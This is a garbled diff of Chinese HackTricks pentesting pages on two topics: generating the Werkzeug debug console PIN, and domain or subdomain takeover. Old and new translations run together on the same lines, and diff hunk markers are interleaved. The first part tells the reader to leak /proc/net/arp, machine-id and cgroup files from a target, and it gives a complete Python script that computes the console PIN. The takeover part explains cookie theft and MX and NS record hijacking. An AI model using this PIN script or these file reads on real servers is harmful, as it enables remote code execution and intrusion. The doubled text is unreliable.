* `getattr(app, '__name__', getattr(app.__class__, '__name__'))` 是 **Flask** - 要**确定服务器的MAC地址**,必须识别应用程序使用的活动网络接口(例如,`ens3`)。在存在不确定性的情况下,**泄漏`/proc/net/arp`**以查找设备ID然后从**`/sys/class/net/<device id>/address`**中提取MAC地址。
* `getattr(mod, '__file__', None)` 是 flask 目录中 **`app.py` 的绝对路径**(例如:`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果 `app.py` 不行,**尝试 `app.pyc`** - 可以按照以下示例将十六进制MAC地址转换为十进制
#### `private_bits`
* `uuid.getnode()`**当前计算机的 MAC 地址**`str(uuid.getnode())` 是 mac 地址的十进制表示。
* 要 **找到服务器 MAC 地址**,需要知道哪个 **网络接口被用来服务应用**(例如:`ens3`)。如果未知,**泄露 `/proc/net/arp`** 以获取设备 ID然后在 **`/sys/class/net/<device id>/address`** **泄露** MAC 地址。
通过在 python 中运行将 **十六进制地址转换为十进制** 表示,例如:
```python ```python
# 它是 56:00:02:7a:23:ac # 示例MAC地址56:00:02:7a:23:ac
>>> print(0x5600027a23ac) >>> print(0x5600027a23ac)
94558041547692 94558041547692
``` ```
* `get_machine_id()` 通过连接 **`/etc/machine-id`** 或 **`/proc/sys/kernel/random/boot_id`** 中的值与 **`/proc/self/cgroup`** 第一行最后的斜杠(`/`)后的内容 - **`get_machine_id()`**:将`/etc/machine-id`或`/proc/sys/kernel/random/boot_id`的数据与`/proc/self/cgroup`最后一个斜杠(`/`)后的第一行连接起来。
<details> <details>
<summary>`get_machine_id()`的代码</summary>
<summary>get_machine_id() 代码</summary>
```python ```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]: def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id global _machine_id
@ -125,23 +104,25 @@ try:
``` ```
</details> </details>
准备好所有变量后,运行利用脚本以生成 Werkzeug 控制台 PIN 在整理所有必要数据后可以执行利用脚本来生成Werkzeug控制台PIN
在整理所有必要数据后可以执行利用脚本来生成Werkzeug控制台PIN。该脚本使用组装的`probably_public_bits`和`private_bits`来创建一个哈希然后经过进一步处理生成最终的PIN。以下是执行此过程的Python代码
```python ```python
import hashlib import hashlib
from itertools import chain from itertools import chain
probably_public_bits = [ probably_public_bits = [
'web3_user',# username 'web3_user', # username
'flask.app',# modname 'flask.app', # modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None), '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
] ]
private_bits = [ private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address '279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id 'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
] ]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0 # h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1() h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits): for bit in chain(probably_public_bits, private_bits):
if not bit: if not bit:
@ -150,7 +131,7 @@ if isinstance(bit, str):
bit = bit.encode('utf-8') bit = bit.encode('utf-8')
h.update(bit) h.update(bit)
h.update(b'cookiesalt') h.update(b'cookiesalt')
#h.update(b'shittysalt') # h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20] cookie_name = '__wzd' + h.hexdigest()[:20]
@ -159,7 +140,7 @@ if num is None:
h.update(b'pinsalt') h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9] num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None rv = None
if rv is None: if rv is None:
for group_size in 5, 4, 3: for group_size in 5, 4, 3:
if len(num) % group_size == 0: if len(num) % group_size == 0:
@ -171,8 +152,10 @@ rv = num
print(rv) print(rv)
``` ```
这个脚本通过对连接的位进行哈希处理,添加特定的盐(`cookiesalt` 和 `pinsalt`),并格式化输出来生成 PIN。重要的是要注意需要准确从目标系统获取 `probably_public_bits``private_bits` 的实际值,以确保生成的 PIN 与 Werkzeug 控制台预期的 PIN 匹配。
{% hint style="success" %} {% hint style="success" %}
如果您使用的是Werkzeug的**旧版本**,尝试将**哈希算法更改为md5**而不是sha1。 如果你使用的是 **旧版本** 的 Werkzeug请尝试将 **哈希算法更改为 md5**,而不是 sha1。
{% endhint %} {% endhint %}
## 参考资料 ## 参考资料
@ -182,20 +165,20 @@ print(rv)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**即时可用的漏洞评估和渗透测试设置**。使用20多个工具和功能从侦察到报告运行完整的渗透测试。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块以便他们有更多时间深入挖掘、弹出shell并享受乐趣。 **即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,拥有 20+ 工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持 HackTricks 的其他方式:
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果你想看到你的 **公司在 HackTricks 中做广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列 * 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。
</details> </details>

View file

@ -1,36 +1,36 @@
# 域名/子域接管 # 域名/子域接管
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 **关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\ 使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 域接管 ## 域接管
如果您发现某个域名domain.tld**正在被范围内的某项服务使用**,但**公司**已经**失去了**它的**所有权**,您可以尝试**注册**它(如果价格足够便宜),并让公司知道。如果这个域名正在接收一些**敏感信息**,如通过**GET**参数或在**Referer**头中的会话cookie这肯定是一个**漏洞**。 如果您发现某个域名domain.tld**被某个服务在范围内使用**,但**公司**已**失去**对其的**所有权**,您可以尝试**注册**它(如果便宜的话),并通知公司。如果此域名通过**GET**参数或**Referer**标头接收一些**敏感信息**如会话cookie那么这肯定是一个**漏洞**。
### 子域接管 ### 子域接管
公司的一个子域指向一个**未注册名称的第三方服务**。如果您能够在这个**第三方服务**中**创建**一个**账户**并**注册**正在使用的**名称**,您就可以执行子域名接管。 公司的一个子域指向一个**未注册名称的第三方服务**。如果您可以在这个**第三方服务**中**创建**一个**帐户**并**注册**正在使用的**名称**,则可以执行子域接管。
有几个带有字典的工具可以检查可能的接管: 有几种带有字典的工具可用于检查可能的接管:
* [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) * [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
* [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot) * [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot)
@ -44,161 +44,69 @@
* [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover) * [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover)
* [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover) * [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
#### 使用[BBOT](https://github.com/blacklanternsecurity/bbot)扫描可劫持的子域 #### 使用[BBOT](https://github.com/blacklanternsecurity/bbot)扫描可劫持的子域:
BBOT的默认子域名枚举包括子域名接管检查。签名直接从[https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)取。 BBOT的默认子域枚举中包含子域接管检查。签名直接从[https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)取。
```bash ```bash
bbot -t evilcorp.com -f subdomain-enum bbot -t evilcorp.com -f subdomain-enum
``` ```
### 通过 DNS 通配符生成子域接管 ### 通过DNS通配符生成子域接管
当在域中使用 DNS 通配符时,该域的任何请求子域(如果没有明确的不同地址)都会**解析为相同的信息**。这可能是一个 A IP 地址,一个 CNAME... 当在一个域中使用DNS通配符时该域的任何请求的子域如果没有明确指定不同的地址将被**解析为相同的信息**。这可以是一个A ip地址一个CNAME...
例如,如果 `*.testing.com` 被通配到 `1.1.1.1`。那么,`not-existent.testing.com` 将指向 `1.1.1.1` 例如,如果`*.testing.com`被通配到`1.1.1.1`。那么,`not-existent.testing.com`将指向`1.1.1.1`。
然而,如果不是指向 IP 地址,而是系统管理员将其指向**第三方服务的 CNAME**,比如一个**github 子域**(例如 `sohomdatta1.github.io`)。攻击者可以**创建他自己的第三方页面**(在这个例子中是在 Github 上),并声称 `something.testing.com` 指向那里。因为,**CNAME 通配符**会同意,攻击者将能够**为受害者域生成任意指向他页面的子域**。 然而,如果管理员将其指向**第三方服务通过CNAME**,比如一个**github子域**,例如(`sohomdatta1.github.io`)。攻击者可以**创建自己的第三方页面**在这种情况下是在Github并表示`something.testing.com`指向那里。因为,**CNAME通配符**将同意攻击者能够**为受害者的域生成任意子域指向他的页面**。
您可以在 CTF 写作中找到这个漏洞的例子[https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api) 您可以在CTF解密中找到此漏洞的示例[https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
## 利用子域接管 ## 利用子域接管
**此信息复制自** [**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/) 子域接管本质上是互联网上特定域的DNS欺骗允许攻击者为一个域设置A记录导致浏览器显示来自攻击者服务器的内容。这种浏览器中的**透明性**使域容易受到钓鱼攻击。攻击者可以利用[_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting)或[_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger)来实现这一目的。特别容易受到影响的是在钓鱼邮件中URL看起来合法的域欺骗用户并通过域的固有信任规避垃圾邮件过滤器。
最近,我[写了](https://0xpatrik.com/subdomain-takeover-basics/)关于子域接管基础的文章。虽然这个概念现在通常被很好地理解了但我注意到人们通常难以把握子域接管带来的风险。在这篇文章中我深入探讨了从我的角度看最显著的_子域接管_风险。 查看此[帖子以获取更多详细信息](https://0xpatrik.com/subdomain-takeover/)
_注意某些风险被云提供商隐式缓解。例如当在 Amazon CloudFront 上可能发生子域接管时,您无法设置 TXT 记录来绕过 SPF 检查。因此该帖子旨在提供关于一般子域接管的风险。尽管如此大多数风险也适用于云提供商。_ ### **SSL证书**
如果攻击者通过像[_Let's Encrypt_](https://letsencrypt.org/)这样的服务生成SSL证书将增加这些虚假域的合法性使钓鱼攻击更具说服力。
### 对浏览器的透明度 <a href="#transparencytoabrowser" id="transparencytoabrowser"></a> ### **Cookie安全性和浏览器透明性**
浏览器透明性还涉及到cookie安全性由像[同源策略](https://en.wikipedia.org/wiki/Same-origin_policy)这样的政策管理。Cookie通常用于管理会话和存储登录令牌可以通过子域接管来利用。攻击者可以通过将用户重定向到一个受损的子域来**收集会话cookie**,危及用户数据和隐私。
首先,让我们看看涉及 CNAME 时的 DNS 解析: ### **电子邮件和子域接管**
子域接管的另一个方面涉及电子邮件服务。攻击者可以操纵**MX记录**以从合法子域接收或发送电子邮件,增强钓鱼攻击的效果。
![DNS resolution](https://0xpatrik.com/content/images/2018/05/resolution-2.png) ### **更高级别的风险**
进一步的风险包括**NS记录接管**。如果攻击者控制了一个域的一个NS记录他们可能会将一部分流量引导到他们控制的服务器。如果攻击者为DNS记录设置了较高的**TTL生存时间**,则这种风险会加剧,延长攻击的持续时间。
请注意,步骤 #7 请求的是 _sub.example.com_ 而不是 _anotherdomain.com_。这是因为网络浏览器不知道 _anotherdomain.com_ 甚至存在。即使使用了 CNAME 记录,浏览器的 URL 栏仍然包含 _sub.example.com_。这就是对浏览器的**透明度**。如果你考虑一下,浏览器将所有信任放在 DNS 解析器上,以提供有关域的准确信息。简化来说,子域接管是针对互联网上一个特定域的 DNS 欺骗。为什么?因为任何执行受影响域 DNS 解析的浏览器都会收到攻击者设置的 A 记录。然后,浏览器会高兴地显示从这个服务器收到的任何内容(认为这是合法的)。 ### **缓解策略**
缓解策略包括:
1. **删除易受攻击的DNS记录** - 如果不再需要子域,则这是有效的。
2. **声明域名** - 在相应的云提供商注册资源或重新购买过期的域名。
3. **定期监控漏洞** - 像[aquatone](https://github.com/michenriksen/aquatone)这样的工具可以帮助识别易受攻击的域。组织还应审查其基础设施管理流程确保DNS记录创建是资源创建的最后一步也是资源销毁的第一步。
这样的域为钓鱼提供了完美的场景。攻击者经常使用[_错别字攻击_](https://en.wikipedia.org/wiki/Typosquatting)或所谓的[_双胞胎域_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger)来模仿合法域/网站进行钓鱼目的。攻击者接管了一些合法域名后,普通用户几乎不可能分辨域上的内容是由合法方还是攻击者提供的。让我们以一个随机银行为例。如果银行的一个子域容易受到子域接管的攻击,攻击者可以创建一个模仿银行互联网银行系统登录表单的 HTML 表单。然后,攻击者可以运行针对性钓鱼或大规模钓鱼活动,要求用户登录并更改密码。在这个阶段,密码被控制该域的攻击者捕获。钓鱼电子邮件中提供的 URL 是银行的合法子域。因此,用户不知道有恶意行为正在进行。垃圾邮件过滤器和其他安全措施也不太可能将电子邮件触发为垃圾邮件或恶意,因为它包含信任度更高的域名。 对于云提供商,验证域所有权对于防止子域接管至关重要。一些提供商,如[GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/),已经意识到了这个问题,并实施了域验证机制
的确域名本身在成功活动中起着重要作用。拥有易受子域接管攻击的第五级子域远不如拥有一些友好子域名的第二级子域_"合法"_。我看到了几个完美的钓鱼子域包括 # 参考资料
* [https://0xpatrik.com/subdomain-takeover/](https://0xpatrik.com/subdomain-takeover/)
* _purchases.SOMETHING.com_
* _www.SOMETHING.com_
* _online.SOMETHING.com_
* _shop.SOMETHING.com_
所有这些都容易受到子域接管。它们都是大品牌。谈论完美的钓鱼?
尽管如此,最近的钓鱼活动在包含品牌名称的长域名上托管内容(参见[苹果示例](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search))。拥有有效的 SSL 证书(下面会详细介绍),域名中的关键字和模仿目标品牌网站的网站,人们倾向于落入这些攻击。想想这个品牌的合法子域的机会。
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\ 使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进的**社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### SSL 证书 <a href="#sslcertificates" id="sslcertificates"></a>
上述攻击可以通过生成有效的 SSL 证书来增强。证书机构如 [_Let's Encrypt_](https://letsencrypt.org/) 允许通过内容验证自动验证域名所有权:
![Let's Encrypt Flow](https://0xpatrik.com/content/images/2018/05/letsencrypt.png)
也就是说,如果在特定的 URL 路径上放置了特定的内容Let's Encrypt 将批准为给定域发行证书。由于攻击者完全控制了易受子域接管攻击的域的内容,因此这种验证可以在几分钟内完成。因此,攻击者还能够为这样的域生成 SSL 证书,这只会降低钓鱼攻击的怀疑。
### Cookie 窃取 <a href="#cookiestealing" id="cookiestealing"></a>
这与浏览器透明度密切相关但后果不同。Web 浏览器实现了许多安全策略,以防止恶意网站造成伤害。这包括诸如[同源策略](https://en.wikipedia.org/wiki/Same-origin\_policy)之类的事情。浏览器的主要安全责任之一是保护保存的 cookies。为什么虽然 HTTP 是一个无状态协议,但 cookies 用于跟踪会话。为了方便,用户经常保存 cookies 较长时间,以防止每次都需要登录。因此,这些 cookies 充当登录令牌,被呈现给 Web 服务器,用户被识别。像[_会话劫持_](https://en.wikipedia.org/wiki/Session\_hijacking)这样的攻击自然从这个概念演变而来。
浏览器会自动向发出它们的域的每个请求呈现存储的 cookies。有一个例外即 cookies 可能会在子域之间共享([在此阅读](https://tools.ietf.org/html/rfc6265#section-8.6),也请注意第 8.7 节)。通常发生在网站使用基于 cookie 的[单点登录](https://en.wikipedia.org/wiki/Single\_sign-on)SSO系统时。使用 SSO用户可以使用一个子域登录并在广泛的子域范围内共享相同的会话令牌。设置常规 cookie 的语法如下:
```
HTTP/1.1 200 OK
Set-Cookie: name=value
```
如果这个cookie由位于_example.com_的web服务器发出那么只有这个服务器以后才能访问这个cookie。然而出于上述解释的原因cookie可以以以下方式为通配符域名发出
```
HTTP/1.1 200 OK
Set-Cookie: name=value; domain=example.com
```
```markdown
Cookie 会包含在对 _example.com_ 的 HTTP 请求中,也会包含在对任何其他子域的请求中,例如 _subdomain.example.com_。这种行为创造了使用子域接管进行高严重性攻击的可能性。假设某个特定域名使用通配符域的会话 Cookie。如果有一个子域容易受到子域接管的攻击那么收集用户会话令牌的唯一方法是诱使他或她访问易受攻击的子域。会话 Cookie 会自动随 HTTP 请求发送。
浏览器还实现了其他针对 Cookie 的安全机制:
* **HttpOnly Cookie** — 默认情况下Javascript 代码可以访问在创建 Cookie 的网站上运行的 Cookie。Javascript 可以读取、更新和删除 Cookie。_HttpOnly_ Cookie 标志(由 Web 服务器设置)表示特定的 Cookie 不能被 Javascript 代码访问。获取它的唯一方法是通过 HTTP 请求和响应头。
* **Secure Cookie** — 当 Cookie 由 Web 服务器设置了 _Secure_ 标志时,只有在使用 HTTPS 时才能将其传回 Web 服务器。
如果域名容易受到子域接管的攻击,攻击者可以通过诱使用户访问该网站来收集该域名过去发出的 Cookie。HttpOnly 和 Secure 标志无济于事,因为 Cookie 不是通过 Javascript 访问的,而且 SSL 证书可以轻松为被接管的域生成。
Arne Swinnen 在漏洞赏金[报告](https://hackerone.com/reports/172137)中解释了使用接管进行 Cookie 窃取。报告解释了 _Ubiquiti Networks_ 的一个子域_ping.ubnt.com_的问题。这个子域容易受到子域接管的攻击指向未认领的 AWS CloudFront 分发。由于 Ubiquiti Networks 使用带通配符会话 Cookie 的 SSO所有访问 _ping.ubnt.com_ 的用户都可能被窃取会话 Cookie。即使此域名指向 AWS CloudFrontCloudFront 分发设置也允许在每个请求中记录 Cookie。因此即使是指向 AWS CloudFront 的子域,提取会话 Cookie 的场景也完全有可能。2017 年Arne 还展示了针对 [Uber 的 SSO 系统](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/) 的类似攻击向量。
上述行为不仅限于 Cookie。由于 Javascript 脚本可以完全控制它们运行的网站,因此有能力在合法网站上替换这些脚本可能会导致灾难性的后果。假设网站使用 _script_ 标签和 _src_ 属性从外部提供商那里使用 Javascript 代码。当外部提供商的域名到期时,浏览器会静默失败,即不会触发普通用户可见的任何警报。如果外部代码没有做任何重要的事情(例如,仅用于跟踪),这样的外部提供商可能会在网站上停留很长时间。攻击者可以接管这个过期的域名,匹配提供的 Javascript 代码的 URL 路径,从而控制每个访问原始网站的访客。
然而,有一种方法可以保护浏览器中 Javascript 文件的完整性。_Subresource Integrity_ [被提出](https://www.w3.org/TR/2016/REC-SRI-20160623/) 作为一种机制,在 HTML5 中将加密哈希作为属性 _integrity_ 包含到 _script_ 标签中。当提供的加密哈希与下载文件不匹配时,浏览器拒绝执行它。
### 电子邮件 <a href="#emails" id="emails"></a>
当 CNAME 子域接管成为可能时,攻击者也可以将 MX 记录设置为任意 Web 服务器。这允许接收发送到某品牌合法子域的电子邮件 - 特别是在(针对性)网络钓鱼攻击中非常有用,攻击者和受害者之间的互动是必要的。攻击者通常伪造 `Return-Path` 头以接收对电子邮件的回复。有了正确的 MX 记录,这个问题就被绕过了。
另一方面,发送电子邮件也是可能的。尽管伪造 `From` 头以包含任何电子邮件地址很简单,但 SPF 过滤器通常会检查 `Return-Path` 头和允许的域邮件发送主机。SPF 在 DNS TXT 记录中存储配置。有了子域接管TXT 记录也在攻击者的控制之下 - SPF 检查可以轻松通过。
_正如我在开始时所提到的这些策略通常不适用于大多数云提供商因为你无法直接控制 DNS 区域。_
### 更高阶的风险 <a href="#higherorderrisks" id="higherorderrisks"></a>
子域接管的概念可以自然地扩展到 NS 记录:如果至少有一个 NS 记录的基础域名可供注册,则源域名容易受到子域接管的攻击。
使用 NS 记录进行子域接管的问题之一是源域名通常有多个 NS 记录。多个 NS 记录用于冗余和负载平衡。在 DNS 解析之前,随机选择名称服务器。假设域名 _sub.example.com_ 有两个 NS 记录_ns.vulnerable.com_ 和 _ns.nonvulnerable.com_。如果攻击者接管了 _ns.vulnerable.com_,用户查询 _sub.example.com_ 的情况如下:
1. 由于有两个名称服务器,随机选择一个。这意味着查询攻击者控制的名称服务器的概率是 50%。
2. 如果用户的 DNS 解析器选择了 _ns.nonvulnerable.com_(合法名称服务器),则返回正确结果,并可能在 6 到 24 小时之间的某处被缓存。
3. 如果用户的 DNS 解析器选择了 _ns.vulnerable.com_(攻击者拥有的名称服务器),攻击者可能提供一个假结果,这也会被缓存。由于攻击者控制了名称服务器,她可以设置这个特定结果的 TTL 为例如一周。
上述过程每次缓存条目到期时都会重复。当攻击者选择使用高值 TTL 时,假结果将在 DNS 缓存中保留那段时间。在此期间,所有对 _sub.example.com_ 的请求都将使用攻击者缓存的假 DNS 结果。当使用公共 DNS 解析器例如Google DNS这个想法甚至被放大。在这种情况下公共解析器可能会缓存假结果这意味着所有使用相同 DNS 解析器的用户都会获得假结果,直到缓存被撤销。
除了对源域名的控制外,还获得了对源域名所有更高级别域的控制。这是因为拥有 NS 记录的规范域名意味着拥有源域名的完整 DNS 区域。
2016 年Matthew Bryant [展示](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html)了在 _maris.int_ 上使用 NS 记录进行的子域接管。.INT 顶级域是一个特殊的 TLD只有少数域名在使用它。Bryant 展示了,尽管这类域名的注册仅由 IANA 独家批准,但名称服务器可以设置为任意域。由于 _maris.int_ 的一个名称服务器可供注册_cobalt.aliis.be_即使在这个受限的 TLD 上也可能进行子域接管。
Matthew 还[展示](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html)了一种更高严重性的攻击,他能够控制 .IO 顶级域的名称服务器。控制 .IO 意味着控制所有 .IO 域名的响应。在这种情况下,.IO 的一个名称服务器是 _ns-a1.io_,它可供注册。通过注册 _ns-a1.io_Bryant 能够接收 DNS 查询并控制所有 .IO 域的响应。
### 缓解 <a href="#mitigation" id="mitigation"></a>
对于已经容易受到子域接管攻击的域名,缓解策略相当直接:
* **移除受影响的 DNS 记录** — 最简单的解决方案是从 DNS 区域中移除受影响的记录。如果组织得出结论,受影响的源域名不再需要,通常会使用这一步骤。
* **认领域名** — 这意味着在特定云提供商中注册资源,或者在常规互联网域的情况下,重新购买过期的域名。
为了防止未来的子域接管组织应该改变他们在基础设施中创建和销毁资源的过程。在资源创建的情况下DNS 记录创建必须是这个过程的 _最后一步_。这个条件防止了 DNS 记录在任何时候指向一个不存在的域。对于资源销毁相反的情况成立DNS 记录需要作为这个过程的 _第一步_ 被移除。工具如 [aquatone](https://github.com/michenriksen/aquatone) 包括对子域接管的检查。这些检查应该由组织的安全团队定期执行,以验证没有易受攻击的域名。组织内部通常没有高效的暴露域名的集中收集过程(由于全球团队等),外部监控通常是最佳选择。
云提供商的缓解策略也应该被考虑。云服务没有验证域名所有权。背后的主要原因是便利性。云提供商没有验证源域名所有权并不引入任何漏洞。因此,用户需要监控其 DNS 记录。另一个原因是,当云资源被移除时,用户通常不再是该服务的客户。云提供商然后问自己的问题是:我们为什么还要关心?
提供商如 [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) 意识到子域接管是一个问题,并实施了域名验证机制。
_本文的某些部分摘自我的_ [_硕士论文_](https://is.muni.cz/th/byrdn/Thesis.pdf)。
下次见!
[Patrik](https://twitter.com/0xpatrik)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
